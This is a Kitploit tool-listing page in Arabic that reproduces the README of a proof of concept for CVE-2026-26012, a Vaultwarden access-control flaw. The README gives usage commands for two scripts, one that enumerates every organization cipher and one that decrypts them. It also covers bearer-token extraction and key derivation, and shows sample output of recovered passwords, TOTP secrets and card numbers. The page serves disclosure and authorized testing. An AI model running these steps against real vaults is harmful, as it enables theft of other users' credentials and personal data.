Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-26012 — إثبات مفهوم لاستغلال CVE-2026-26012، وهو ثغرة في التحكم بالوصول في Vaultwarden تسمح لأي عضو في المؤسسة بتعداد وفك تشفير جميع التشفيرات، متجاوزًا صلاحيات المجموعة. | Kitploit
أدوات/GitHubGitHub/dulieno/cve-2026-26012
تحليل الثغرات الأمنيةالاستغلالأمن الويبالتشفيراختبار الاختراقالتعلم والتعليم
GitHubdulieno/cve-2026-26012

CVE-2026-26012

إثبات مفهوم لاستغلال CVE-2026-26012، وهو ثغرة في التحكم بالوصول في Vaultwarden تسمح لأي عضو في المؤسسة بتعداد وفك تشفير جميع التشفيرات، متجاوزًا صلاحيات المجموعة.

عرض المستودع
15منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-26012 — إثبات المفهوم لتعداد Cipher في Vaultwarden

AI Assisted License

تعداد كامل للـ Ciphers متجاهلاً صلاحيات الوصول للمجموعات

إثبات مفهوم لاستغلال CVE-2026-26012، وهي ثغرة في التحكم بالوصول في Vaultwarden (<= 1.35.2) تسمح لأي عضو في المؤسسة باسترجاع وفك تشفير جميع الـ ciphers داخل المؤسسة، بغض النظر عن صلاحيات مستوى المجموعة.

🤖 ملاحظة: تم تطوير هذا المشروع بمساعدة Claude 3 Opus. تم استخدام الذكاء الاصطناعي لتوليد الكود والبنية المعمارية والتوثيق. تمت مراجعة جميع المخرجات واختبارها يدوياً لضمان الجودة.

نظرة عامة

CVECVE-2026-26012
الاستشارة الأمنيةGHSA-h265-g7rm-h337
الإصدارات المتأثرةVaultwarden ≤ 1.35.2
تم الإصلاح في1.35.3
CVSS 3.16.5 (متوسطة) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — تفويض غير صحيح
الفضلاكتشفها @odgrso، وأصلحها @BlackDex

الثغرة

نقطة النهاية API GET /api/ciphers/organization-details متاحة لأي عضو في المؤسسة. داخلياً، تستدعي Cipher::find_by_org التي تُرجع جميع الـ ciphers في المؤسسة، ثم تقدمها مع CipherSyncType::Organization دون فرض التحكم في الوصول على مستوى المجموعة.

نظراً لأن جميع ciphers المؤسسة تشترك في نفس مفتاح تشفير المؤسسة (الذي يستلمه كل عضو عند الانضمام)، يمكن فك تشفير الـ ciphers المسربة بالكامل من جهة العميل.

root@kitploit:~
عضو مؤسسة عادي (مقيد بمجموعة "Public")
    │
    ├── GET /api/sync                     → 5 ciphers (صحيح)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 ciphers (جميع ciphers المؤسسة — خطأ)
                  └──→ 42 ciphers من مجموعات مقيدة (تسريب)
                        └──→ قابلة لفك التشفير بمفتاح المؤسسة الذي يمتلكه العضو بالفعل

محتويات المستودع

root@kitploit:~
.
├── README.md                   # هذا الملف
├── poc_cve_2026_26012.py       # المرحلة 1: تعداد الـ ciphers واكتشاف التسريب
├── poc_decrypt.py              # المرحلة 2: استعادة مفتاح المؤسسة وفك تشفير الـ ciphers
└── LICENSE

المتطلبات

  • Python 3.8+
  • cryptography (للفك في المرحلة 2)
  • argon2-cffi (فقط إذا كانت النسخة المستهدفة تستخدم Argon2id KDF)
root@kitploit:~
pip install cryptography
pip install argon2-cffi  # اختياري

الاستخدام

المرحلة 1 — تعداد الـ ciphers المسربة

يكتشف ما إذا كانت النسخة معرضة للثغرة بمقارنة الـ ciphers التي يُرجعها نقطة النهاية العادية /api/sync مقابل نقطة النهاية المعرضة /api/ciphers/organization-details.

root@kitploit:~
# قم بالمصادقة عبر المتصفح (يدعم SSO + 2FA)، ثم مرر رمز Bearer
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
جميع خيارات المصادقة
root@kitploit:~
# رمز Bearer (موصى به — يعمل مع SSO + 2FA)
--token "eyJhbGciOi..."

# ملف تعريف الارتباط للجلسة
--cookie "VAULTWARDEN_SESSION=abc123..."

# رأس Cookie خام (ملفات تعريف ارتباط متعددة)
--cookie-header "session=abc; token=xyz"

# تسجيل دخول مباشر بكلمة المرور (بدون SSO، بدون 2FA فقط)
--email [email protected] --password "MasterPassword"

كيفية استخراج رمز Bearer الخاص بك:

  1. سجّل الدخول إلى Vaultwarden web vault (أكمل SSO + 2FA كالمعتاد)
  2. افتح أدوات المطور في المتصفح (F12) → تبويب Network
  3. انقر على أي عنصر في الخزنة لتحفيز استدعاء API
  4. ابحث عن طلب إلى /api/... وانسخ قيمة رأس Authorization
خيارات إضافية
root@kitploit:~
--no-verify-ssl     # تخطي التحقق من SSL (شهادات موقعة ذاتياً)
--show-all          # عرض الـ ciphers المتاحة بشكل شرعي أيضاً
--max-display 50    # الحد الأقصى للـ ciphers المسربة للعرض (الافتراضي: 20)
--output results.json  # تصدير النتائج الكاملة إلى JSON

المرحلة 2 — فك تشفير الـ ciphers المسربة

يستعيد مفتاح تشفير المؤسسة ويفك تشفير جميع الـ ciphers المسربة من المرحلة 1.

root@kitploit:~
python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

ملاحظة: --master-password هي كلمة مرور Vaultwarden الرئيسية الخاصة بك، وتُستخدم محلياً لاشتقاق سلسلة مفاتيح فك التشفير. لا يتم إرسالها أبداً عبر الشبكة. رمز --token يتولى مصادقة API.

استكشاف الأخطاء: إذا فشل فك تشفير المفتاح، أضف --debug لرؤية القيم الوسيطة في كل خطوة. يحاول السكربت تلقائياً 5 استراتيجيات (HKDF الحديث، HMAC القديم، المفتاح الخام، ومتغيرات HMAC-skip) للتعامل مع أعمار الحسابات والإعدادات المختلفة.

بديل: توفير مفتاح المؤسسة مباشرة

إذا كان لديك بالفعل مفتاح المؤسسة بطول 64 بايت (128 حرفاً سداسياً عشرياً):

root@kitploit:~
python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

مثال على المخرجات

root@kitploit:~
[*] === سلسلة استعادة المفتاح ===

[1/6] جلب معاملات KDF...
       KDF: PBKDF2-SHA256, iterations: 600000
[2/6] اشتقاق المفتاح الرئيسي...
[3/6] تمديد المفتاح الرئيسي (HKDF-Expand)...
[4/6] جلب المفاتيح المشفرة من /api/sync...
       المؤسسة: ACME Corp
[5/6] فك تشفير المفتاح المتماثل للمستخدم...
[6/6] فك تشفير المفتاح الخاص RSA → مفتاح المؤسسة...

[+] تم استعادة مفتاح المؤسسة بنجاح!

[*] فك تشفير 42 cipher(s)...

============================================================
  نتائج فك التشفير
============================================================
  الإجمالي:     42
  تم فك التشفير: 42
  الأخطاء:    0

  ملخص التأثير
  كلمات مرور مستعادة:     35
  أسرار TOTP مستعادة:  12
  أرقام بطاقات مستعادة:  3
============================================================

كيف يعمل

سلسلة اشتقاق المفاتيح

كل عضو في المؤسسة يمتلك بالفعل المفتاح المتماثل للمؤسسة، مشفراً بمفتاح RSA العام الخاص به. سلسلة فك التشفير هي:

root@kitploit:~
كلمة المرور الرئيسية + البريد الإلكتروني
    │  PBKDF2-SHA256 أو Argon2id
    ▼
المفتاح الرئيسي (32 بايت)
    │  HKDF-Expand-SHA256
    ▼
المفتاح الممدد: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (يفك تشفير profile.key)
    ▼
المفتاح المتماثل للمستخدم: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (يفك تشفير profile.privateKey)
    ▼
المفتاح الخاص RSA (2048-bit PKCS#8 DER)
    │  RSA-OAEP-SHA1 (يفك تشفير profile.organizations[].key)
    ▼
مفتاح المؤسسة: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
بيانات cipher مفكوكة التشفير

لماذا لا تحمي قائمة التحكم بالوصول للمجموعات البيانات

في نموذج Bitwarden/Vaultwarden، جميع الـ ciphers في المؤسسة تشترك في نفس مفتاح التشفير. التحكم في الوصول القائم على المجموعات يُفرض على الخادم فقط — النموذج التشفيري لا يفرض حدود المجموعات. أي عضو يمتلك مفتاح المؤسسة يمكنه فك تشفير أي cipher في المؤسسة. هذه الثغرة تتجاوز فلتر الخادم، مما يعرض جميع الـ ciphers لأي عضو.

ما يتم فك تشفيره

نوع الـ Cipherالحقول المفكوكة
تسجيل دخولاسم المستخدم، كلمة المرور، سر TOTP، URIs
بطاقةحامل البطاقة، الرقم، CVV، تاريخ الانتهاء
هويةالاسم، رقم الضمان الاجتماعي، جواز السفر، العنوان، الهاتف، البريد الإلكتروني
ملاحظة آمنةمحتوى الملاحظة الكامل
جميع الأنواعالحقول المخصصة، بيانات المرفقات الوصفية

المعالجة

قم بتحديث Vaultwarden إلى 1.35.3 أو أحدث فوراً.

root@kitploit:~
docker pull vaultwarden/server:1.35.3

بعد التحديث، أعد تشغيل المرحلة 1 للتأكد من الإصلاح — يجب أن يبلغ الأداة NOT VULNERABLE.

إجراءات ما بعد الحادث

إذا كنت تشغل نسخة معرضة للثغرة في مؤسسة متعددة المستخدمين:

  1. قم بتدوير جميع بيانات الاعتماد المخزنة في المجموعات التي كانت مقيدة عن بعض الأعضاء
  2. قم بإبطال وإعادة توليد أسرار TOTP لأي حسابات تحتوي على TOTP مخزنة في الخزنة
  3. راجع عضوية المؤسسة وأزل الأعضاء غير الضروريين
  4. دقق سجلات الوصول بحثاً عن استدعاءات API غير عادية إلى /api/ciphers/organization-details

الإفصاح المسؤول

تم نشر إثبات المفهوم هذا بعد الكشف العلني عن الثغرة وإصلاحها:

  • 2026-02-10 — تم إصدار Vaultwarden 1.35.3 مع الإصلاح
  • 2026-02-11 — تم تعيين CVE-2026-26012 ونشر الاستشارة
  • 2026-02-11 — تم نشر GHSA-h265-g7rm-h337

شكر وتقدير

لن يكون إثبات المفهوم هذا موجوداً لولا عمل الباحثين الأمنيين الأصليين والمشرفين:

الدورمنالمساهمة
مُبلغ الثغرة@odgrsoاكتشف وأفصح مسؤولاً عن CVE-2026-26012
مطور المعالجة@BlackDexطور وشحن الإصلاح في Vaultwarden 1.35.3
مشرف المشروع@dani-garciaمنشئ Vaultwarden، نسّق الاستشارة والإصدار

شكراً لكم على الحفاظ على أمان النظام البيئي مفتوح المصدر.

إخلاء مسؤولية قانوني

إثبات المفهوم هذا مقدم حصرياً لأغراض الاختبار الأمني المصرح به والتعليم. يجب أن يكون لديك تفويض كتابي صريح قبل اختبار أي نظام لا تملكه. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب CFAA (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، والقوانين المماثلة في جميع أنحاء العالم. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.

المراجع

  • GHSA-h265-g7rm-h337 — استشارة أمنية على GitHub
  • CVE-2026-26012 — إدخال NVD
  • Vaultwarden 1.35.3 — الإصدار المُصلح
  • الورقة البيضاء الأمنية لـ Bitwarden — مرجع نموذج التشفير

الترخيص

MIT — انظر LICENSE.

تنزيل الأداة